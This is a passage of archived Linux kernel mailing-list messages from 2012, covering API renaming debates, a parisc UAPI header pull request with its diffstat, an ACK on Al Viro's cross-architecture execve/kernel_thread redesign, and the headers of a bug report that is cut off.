Sure, when we want to use eth_random_addr(), a grep into include files
to check if its still the right name (old one was random_ether_addr())
is OK because we dont use this one often.

If you think about it, eth_random_addr() was not the perfect name.

Think about all the documentation you can find outside of kernel tree,
RFC and things like that, copy/pasting some linux kernel code.

This kind of changes make our life more difficult, when we have to
backport patches or rebase code, or even perform some searches to find
prior issues/discussions.

Life of a kernel developer is not only dealing with latest Linus (or
-next) tree, and using automatic 'tools'.

Thats a real pain for me at least.





From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Roskin <proski-mXXj517/zsQ@public.gmane.org>
Newsgroups: gmane.network.openvswitch.devel,gmane.linux.ports.mips.general,gmane.org.freifunk.batman,gmane.linux.documentation,gmane.linux.drivers.rt2x00.user,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.wimax,gmane.linux.scsi,gmane.linux.drivers.rdma,gmane.comp.linux.lvs.devel,gmane.linux.drivers.bcm54xx.devel,gmane.linux.uml.devel,gmane.linux.drivers.devicetree,gmane.linux.davinci,gmane.comp.security.firewalls.netfilter.general,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.usb.general,gmane.linux.kernel.wireless.general,gmane.linux.kernel,gmane.linux.drivers.e1000.devel,gmane.linux.drivers.ath9k.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel
Subject: Re: [ath9k-devel] [PATCH net-next 00/21] treewide: Use
 consistent api style for address testing
Date: Fri, 19 Oct 2012 11:55:17 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20121019115517.7b8514a8@mj>
References: <cover.1350618006.git.joe@perches.com>
	<1350630254.2293.183.camel@edumazet-glaptop>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350662138 11189 80.91.229.3 (19 Oct 2012 15:55:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Oct 2012 15:55:38 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org,
	linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, brcm80211-dev-list-dY08KVG/lbpWk0Htik3J/w@public.gmane.org,
	users-poMEt7QlJxcwIE2E9O76wjtx2kNaKg5H@public.gmane.org, linux-sctp-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	devel-s9riP+hp16TNLxjTenLetw@public.gmane.org, dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, wimax-BPSAo7wm5JOHVYUYWc+uSQ@public.gmane.org,
	linux-scsi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	bridge-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, lvs-devel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	coreteam-Cap9r6Oaw4JrovVCs/uTlw@public.gmane.org, b43-dev-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	cbe-oss-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devicetree-discuss-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	davinci-linux-open-source-VycZQUHpC/PFrsHnngEfi1aTQe2KTcn/@public.gmane.org, netfilter-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	user-mode-linux-user-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	l
To: Eric Dumazet <eric.dumazet-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org Fri Oct 19 17:55:39 2012
Return-path: <dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org>
Envelope-to: gnod2-dev@m.gmane.org
Original-Received: from li205-44.members.linode.com ([173.255.195.44] helo=archives.nicira.com)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org>)
	id 1TPEvC-0005gO-Mj
	for gnod2-dev@m.gmane.org; Fri, 19 Oct 2012 17:55:39 +0200
Original-Received: from li205-44.members.linode.com (localhost [127.0.0.1])
	by archives.nicira.com (Postfix) with ESMTP id 5823B165A6;
	Fri, 19 Oct 2012 08:55:30 -0700 (PDT)
X-Original-To: dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
Delivered-To: dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
Original-Received: from c60.cesmail.net (c60.cesmail.net [216.154.195.49])
	by archives.nicira.com (Postfix) with ESMTPS id 4BF4D16543
	for <dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org>; Fri, 19 Oct 2012 08:55:28 -0700 (PDT)
Original-Received: from unknown (HELO smtprelay1.cesmail.net) ([192.168.1.111])
	by c60.cesmail.net with ESMTP; 19 Oct 2012 11:55:22 -0400
Original-Received: from mj (static-72-92-88-10.phlapa.fios.verizon.net [72.92.88.10])
	by smtprelay1.cesmail.net (Postfix) with ESMTPSA id 387EE34C93;
	Fri, 19 Oct 2012 11:55:58 -0400 (EDT)
In-Reply-To: <1350630254.2293.183.camel@edumazet-glaptop>
X-Mailer: Claws Mail 3.8.1 (GTK+ 2.24.8; x86_64-redhat-linux-gnu)
X-BeenThere: dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <dev.openvswitch.org>
List-Unsubscribe: <http://openvswitch.org/mailman/options/dev>,
	<mailto:dev-request-yBygre7rU0TnMu66kgdUjQ@public.gmane.org?subject=unsubscribe>
List-Archive: <http://openvswitch.org/pipermail/dev>
List-Post: <mailto:dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org>
List-Help: <mailto:dev-request-yBygre7rU0TnMu66kgdUjQ@public.gmane.org?subject=help>
List-Subscribe: <http://openvswitch.org/mailman/listinfo/dev>,
	<mailto:dev-request-yBygre7rU0TnMu66kgdUjQ@public.gmane.org?subject=subscribe>
Original-Sender: dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
Errors-To: dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
Xref: news.gmane.org gmane.network.openvswitch.devel:15340 gmane.linux.ports.mips.general:35833 gmane.org.freifunk.batman:8229 gmane.linux.documentation:7286 gmane.linux.drivers.rt2x00.user:1266 gmane.linux.scsi.open-fcoe.devel:11914 gmane.linux.kernel.wimax:1907 gmane.linux.scsi:78297 gmane.linux.drivers.rdma:13687 gmane.comp.linux.lvs.devel:2769 gmane.linux.drivers.bcm54xx.devel:13548 gmane.linux.uml.devel:13711 gmane.linux.drivers.devicetree:22972 gmane.linux.davinci:25405 gmane.comp.security.firewalls.netfilter.general:45132 gmane.linux.uml.user:14305 gmane.linux.ports.arm.kernel:194492 gmane.linux.nfs:52747 gmane.linux.ports.parisc:4643 gmane.linux.network:246388 gmane.linux.usb.general:73105 gmane.linux.kernel.wireless.general:98601 gmane.linux.kernel:1378659 gmane.linux.drivers.e1000.devel:10782 gmane.linux.drivers.ath9k.devel:9806 gmane.comp.security.firewalls.netfilter.devel:44663 gmane.linux.hardware.blackfin.kernel.devel:6707 gmane.linux.ports.ppc64.devel:85862
Archived-At: <http://permalink.gmane.org/gmane.network.openvswitch.devel/15340>

On Fri, 19 Oct 2012 09:04:14 +0200
Eric Dumazet <eric.dumazet-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org> wrote:

> Yes they are some names discrepancies, thats a big deal.
> 
> And we have alloc_skb() / kfree_skb() / skb_clone() 
> 
> Why not skb_alloc() / skb_free() / skb_clone() ?
> 
> Some people actually know current code by name of functions, they dont
> want to change their mind and having to grep include files and git log
> to learn the new names of an old function, especially when traveling
> and using a laptop.

I agree.

Also, it makes sense to introduce a more consistent name for a function
when it's improved in some way and the callers need to be adjusted or
re-checked.

That way, the old name can be phased out as the code is made compatible
with the new function.

-- 
Regards,
Pavel Roskin

From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc high code motion changes for 3.7-rc1
Date: Fri, 19 Oct 2012 10:27:59 -0700
Lines: 136
Approved: news@gmane.org
Message-ID: <1350667679.2511.4.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350667688 30288 80.91.229.3 (19 Oct 2012 17:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Oct 2012 17:28:08 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 19 19:28:15 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TPGMl-000596-Ht
	for glpp-linux-parisc@plane.gmane.org; Fri, 19 Oct 2012 19:28:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758393Ab2JSR2E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Oct 2012 13:28:04 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45813 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758370Ab2JSR2D (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Oct 2012 13:28:03 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3205D8EE0DF;
	Fri, 19 Oct 2012 10:28:02 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yJF7MK0_k53t; Fri, 19 Oct 2012 10:28:02 -0700 (PDT)
Original-Received: from [10.241.29.79] (ma70f36d0.tmodns.net [208.54.15.167])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 49C388EE0DC;
	Fri, 19 Oct 2012 10:28:01 -0700 (PDT)
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4644 gmane.linux.kernel:1378713
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4644>

This is a couple of high code motion patches (all within arch/parisc)
I'd like to apply at -rc1 to avoid conflicts with anything else.  One
moves us on to the generated instead of included asm file model and the
other is a pull request from David Howells for UAPI disintegration.

The patches are here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-for-linus

The short changelog is:

David Howells (1):
      UAPI: (Scripted) Disintegrate arch/parisc/include/asm

James Bottomley (1):
      asm: redo generic includes

The diffstat is:

 arch/parisc/include/asm/Kbuild                   |   9 +-
 arch/parisc/include/asm/auxvec.h                 |   4 -
 arch/parisc/include/asm/compat_signal.h          |   2 -
 arch/parisc/include/asm/cputime.h                |   6 -
 arch/parisc/include/asm/device.h                 |   7 -
 arch/parisc/include/asm/div64.h                  |   1 -
 arch/parisc/include/asm/emergency-restart.h      |   6 -
 arch/parisc/include/asm/hw_irq.h                 |   8 -
 arch/parisc/include/asm/irq_regs.h               |   1 -
 arch/parisc/include/asm/kdebug.h                 |   1 -
 arch/parisc/include/asm/kvm_para.h               |   1 -
 arch/parisc/include/asm/local.h                  |   1 -
 arch/parisc/include/asm/local64.h                |   1 -
 arch/parisc/include/asm/mutex.h                  |   9 -
 arch/parisc/include/asm/param.h                  |   1 -
 arch/parisc/include/asm/pdc.h                    | 423 +-----------
 arch/parisc/include/asm/percpu.h                 |   7 -
 arch/parisc/include/asm/poll.h                   |   1 -
 arch/parisc/include/asm/ptrace.h                 |  46 +-
 arch/parisc/include/asm/real.h                   |   5 -
 arch/parisc/include/asm/segment.h                |   6 -
 arch/parisc/include/asm/signal.h                 | 113 +--
 arch/parisc/include/asm/termios.h                |  41 +-
 arch/parisc/include/asm/topology.h               |   6 -
 arch/parisc/include/asm/unistd.h                 | 835 +---------------------
 arch/parisc/include/asm/user.h                   |   5 -
 arch/parisc/include/asm/vga.h                    |   6 -
 arch/parisc/include/asm/xor.h                    |   1 -
 arch/parisc/include/uapi/asm/Kbuild              |  28 +
 arch/parisc/include/{ => uapi}/asm/bitsperlong.h |   0
 arch/parisc/include/{ => uapi}/asm/byteorder.h   |   0
 arch/parisc/include/{ => uapi}/asm/errno.h       |   0
 arch/parisc/include/{ => uapi}/asm/fcntl.h       |   0
 arch/parisc/include/{ => uapi}/asm/ioctl.h       |   0
 arch/parisc/include/{ => uapi}/asm/ioctls.h      |   0
 arch/parisc/include/{ => uapi}/asm/ipcbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/mman.h        |   0
 arch/parisc/include/{ => uapi}/asm/msgbuf.h      |   0
 arch/parisc/include/uapi/asm/pdc.h               | 427 ++++++++++++
 arch/parisc/include/{ => uapi}/asm/posix_types.h |   0
 arch/parisc/include/uapi/asm/ptrace.h            |  47 ++
 arch/parisc/include/{ => uapi}/asm/resource.h    |   0
 arch/parisc/include/{ => uapi}/asm/sembuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/setup.h       |   0
 arch/parisc/include/{ => uapi}/asm/shmbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/sigcontext.h  |   0
 arch/parisc/include/{ => uapi}/asm/siginfo.h     |   0
 arch/parisc/include/uapi/asm/signal.h            | 118 ++++
 arch/parisc/include/{ => uapi}/asm/socket.h      |   0
 arch/parisc/include/{ => uapi}/asm/sockios.h     |   0
 arch/parisc/include/{ => uapi}/asm/stat.h        |   0
 arch/parisc/include/{ => uapi}/asm/statfs.h      |   0
 arch/parisc/include/{ => uapi}/asm/swab.h        |   0
 arch/parisc/include/{ => uapi}/asm/termbits.h    |   0
 arch/parisc/include/uapi/asm/termios.h           |  43 ++
 arch/parisc/include/{ => uapi}/asm/types.h       |   0
 arch/parisc/include/uapi/asm/unistd.h            | 837 +++++++++++++++++++++++
 57 files changed, 1511 insertions(+), 1542 deletions(-)
 delete mode 100644 arch/parisc/include/asm/auxvec.h
 delete mode 100644 arch/parisc/include/asm/compat_signal.h
 delete mode 100644 arch/parisc/include/asm/cputime.h
 delete mode 100644 arch/parisc/include/asm/device.h
 delete mode 100644 arch/parisc/include/asm/div64.h
 delete mode 100644 arch/parisc/include/asm/emergency-restart.h
 delete mode 100644 arch/parisc/include/asm/hw_irq.h
 delete mode 100644 arch/parisc/include/asm/irq_regs.h
 delete mode 100644 arch/parisc/include/asm/kdebug.h
 delete mode 100644 arch/parisc/include/asm/kvm_para.h
 delete mode 100644 arch/parisc/include/asm/local.h
 delete mode 100644 arch/parisc/include/asm/local64.h
 delete mode 100644 arch/parisc/include/asm/mutex.h
 delete mode 100644 arch/parisc/include/asm/param.h
 delete mode 100644 arch/parisc/include/asm/percpu.h
 delete mode 100644 arch/parisc/include/asm/poll.h
 delete mode 100644 arch/parisc/include/asm/real.h
 delete mode 100644 arch/parisc/include/asm/segment.h
 delete mode 100644 arch/parisc/include/asm/topology.h
 delete mode 100644 arch/parisc/include/asm/user.h
 delete mode 100644 arch/parisc/include/asm/vga.h
 delete mode 100644 arch/parisc/include/asm/xor.h
 rename arch/parisc/include/{ => uapi}/asm/bitsperlong.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/byteorder.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/errno.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/fcntl.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ioctl.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ioctls.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ipcbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/mman.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/msgbuf.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/pdc.h
 rename arch/parisc/include/{ => uapi}/asm/posix_types.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/ptrace.h
 rename arch/parisc/include/{ => uapi}/asm/resource.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sembuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/setup.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/shmbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sigcontext.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/siginfo.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/signal.h
 rename arch/parisc/include/{ => uapi}/asm/socket.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sockios.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/stat.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/statfs.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/swab.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/termbits.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/termios.h
 rename arch/parisc/include/{ => uapi}/asm/types.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/unistd.h

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: new execve/kernel_thread design
Date: Sun, 21 Oct 2012 11:35:25 +0100
Lines: 187
Approved: news@gmane.org
Message-ID: <1350815725.2449.1.camel@dabdike.int.hansenpartnership.com>
References: <20121019155554.GL2616@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350815740 386 80.91.229.3 (21 Oct 2012 10:35:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Oct 2012 10:35:40 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Oct 21 12:35:48 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1TPssk-0004mC-Vw
	for glka-linux-arch@plane.gmane.org; Sun, 21 Oct 2012 12:35:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752480Ab2JUKff (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 21 Oct 2012 06:35:35 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34427 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752273Ab2JUKfb (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Sun, 21 Oct 2012 06:35:31 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3552A8EE0DC;
	Sun, 21 Oct 2012 03:35:28 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jnMBVWcOSZTw; Sun, 21 Oct 2012 03:35:28 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id EE2A88EE0C2;
	Sun, 21 Oct 2012 03:35:26 -0700 (PDT)
In-Reply-To: <20121019155554.GL2616@ZenIV.linux.org.uk>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:15467 gmane.linux.ports.parisc:4645
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/15467>

On Fri, 2012-10-19 at 16:55 +0100, Al Viro wrote:
> [Sorry; forgot about that typo in Cc...  Repost to linux-arch alone]
> 
> On Tue, Oct 16, 2012 at 11:35:08PM +0100, Al Viro wrote:
> > 	1.  Basic rules for process lifetime.
> > Except for the initial process (init_task, eventual idle thread on the boot
> > CPU) all processes are created by do_fork().  There are three classes of
> > those: kernel threads, userland processes and idle threads to be.  There are
> > few low-level operations involved:
> > 	* a kernel thread can spawn a new kernel thread; the primitive
> > doing that is kernel_thread().
> > 	* a userland process can spawn a new userland process; that's
> > done by sys_fork()/sys_vfork()/sys_clone()/sys_clone2().
> > 	* a kernel thread can become a userland process.  The primitive
> > is kernel_execve().
> > 	* a kernel thread can spawn a future idle thread; that's done
> > by fork_idle().  Result is *not* scheduled until the secondary CPU gets
> > initialized and its state is heavily overwritten in process.
> 
> Minor correction: while the first two cases go through do_fork() to
> copy_process() to copy_thread(), fork_idle() calls copy_process() directly.
> 
> > 	4. What is done?
> > I've done the conversions for almost all architectures, but quite a few
> > are completely untested.
> > 
> > I'm fairly sure about alpha, x86 and um.  Tested and I understand the
> > architecture well enough.  arm, mips and c6x had been tested by architecture
> > maintainers.  This stuff also works.  alpha, arm, x86 and um are fully
> > converted in mainline by now.
> 
> arm64 fixed and tested by maintainer, put in no-rebase mode.
> 
> sparc corrected to avoid branching beyond what ba,pt allows, ACKed by Davem
> in that form.  In no-rebase mode.
> 
> m68k tested and ACKed on coldfire; I think that along with aranym testing
> here that is enough.  In no-rebase mode.
> 
> Surprisingly enough, ia64 one seems to work on actual hardware; I have sent
> Tony an incremental patch cleaning copy_thread() up, waiting for results of
> testing that on SMP box.
> 
> Even more surprisingly, unicore32 variant turned out to contain only one
> obvious typo.  Fixed and tested by maintainer of unicore32 tree and actually
> applied there, I've pulled his branch at that point.
> 
> microblaze: some fixes from Michal folded, still breakage with kernel_execve()
> side of things.
> 
> Since there had been no signs of life from hexagon folks, I'd done (absolutely
> blind and untested) tentative patches; see #arch-hexagon.  Same situation
> as with most of the embedded architectures - i.e. take with a cartload of salt,
> that pair of patches is intended to be a possible starting point for producing
> something working.
> 
> At that point we have the following situation:
> alpha                   done
> arm                     done
> arm64                   done
> avr32                   untested
> blackfin                untested
> c6x                     done
> cris                    untested
> frv                     untested, maintainer going to test
> h8300                   untested
> hexagon                 untested
> ia64                    apparently works, needs the final ACK from Tony.
> m32r                    untested
> m68k                    done
> microblaze              partially tested, maintainer hunting breakage down
> mips                    done
> mn10300                 untested
> openrisc                maintainers said to have partially working variant
> parisc                  should work, needs testing and ACK

Tested and works on top of 3.7-rc2 ... you can add my ACK.

James


> powerpc                 should work, needs testing and ACK
> s390                    should work, needs testing and ACK
> score                   untested
> sh                      untested, maintainers planned reviewing and
> testing
> sparc                   done
> tile                    maintainers writing that one
> um                      done
> unicore32               done
> x86                     done
> xtensa                  maintainers writing that one
> 
> One more thing: AFAICS, just about everything has something along the
> lines
> of
>         if (!usp)
>                 usp = <current userland sp>
>         do_fork(flags, usp, ....)
> in their sys_clone().  How about taking that into copy_thread()?
> After
> all, the logics there is
>         copy all the state, including userland stack pointer to child
>         override userland stack pointer with what the caller passed to
> copy_thread()
> often enough with "... and if we are about to override it with
> something
> different, do the following extra work".  Turning that into
>         copy all the state, including userland stack pointer to child
>         if (usp) {
>                 override the userland stack pointer for child and
> maybe do
>                 some extra work
>         }
> would seem to be a fairly natural thing.  Does anybody see problems
> with
> doing that on their architecture?  Note that with that fork() becomes
> simply
> #ifndef CONFIG_MMU
>         return -EINVAL;
> #else
>         return do_fork(SIGCHLD, 0, current_pt_regs(), 0, NULL, NULL);
> #endif
> and similar for vfork().  And these can definitely drop the
> Cthulhu-awful
> kludges for obtaining pt_regs (OK, on everything that doesn't do
> kernel_thread() via syscall-from-kernel, but by now only xtensa is
> still
> doing that).  In some cases we need to do a bit of work before that
> (gather callee-saved registers so that the child could get them as on
> alpha,
> mips, m68k, openrisc, parisc, ppc and x86, flush userland register
> windows
> on sparc and get psr/wim values on sparc32), but a lot more
> architectures
> lose the asm wrappers for those and the rest can get rid of assorted
> ugliness involved in getting that struct pt_regs *.
> 
> BTW, alpha seems to be doing an absolutely pointless work on the way
> out of
> sys_fork() et.al. - saving callee-saved registers is needed, all
> right,
> but why bother restoring all of them on the way out in the parent?
> All
> we need is rp; that's ~0.3Kb of useless reads from memory on each
> fork()...
> 
> The same goes for m68k; there the amount of traffic is less, but
> still, what
> the hell for?  Child needs callee-saved registers restored (and
> usually will
> have that done by switch_to()), but the parent needs only to make sure
> they
> are saved and available for copy_thread() to bring them to child
> (incidentally,
> copying registers is needed only when they are not embedded into
> task_struct.
> At least um is doing a memcpy() for no reason whatsoever; fix will be
> sent
> to rw shortly and ISTR seeing something similar on some of the other
> architectures).
> 
> Another cross-architecture thing: folks, watch out for what's being
> done with
> thread flags; I've just found a lovely bug on alpha where we have
> prctl(2)
> doing non-atomic modifications of those (as in ti->flags =
> (ti->flags&~x)|y;),
> which is obviously broken; TIF_SIGPENDING can be set asynchronously
> and even
> from an interrupt.  Fix for this one is going to Linus shortly (adding
> a separate field for thread-synchronous flags, taking obviously t-s
> ones
> there, including the UAC_... bunch set by that prctl()), but I don't
> think
> that I can audit that for all architectures efficiently; cursory look
> has
> found a braino on frv (fix being discussed with dhowells), but there
> may bloody
> well be more of that fun.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-arch"
> in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 


From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Machine stuck when userspace 100% busy
Date: Mon, 22 Oct 2012 09:41:36 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <35fd660c364b9a45770b17a5bd0ecbaf@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350891702 26259 80.91.229.3 (22 Oct 2012 07:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Oct 2012 07:41:42 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 22 09:41:50 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TQCdw-00038q-Ez
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Oct 2012 09:41:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750816Ab2JVHll (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Oct 2012 03:41:41 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:60948 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
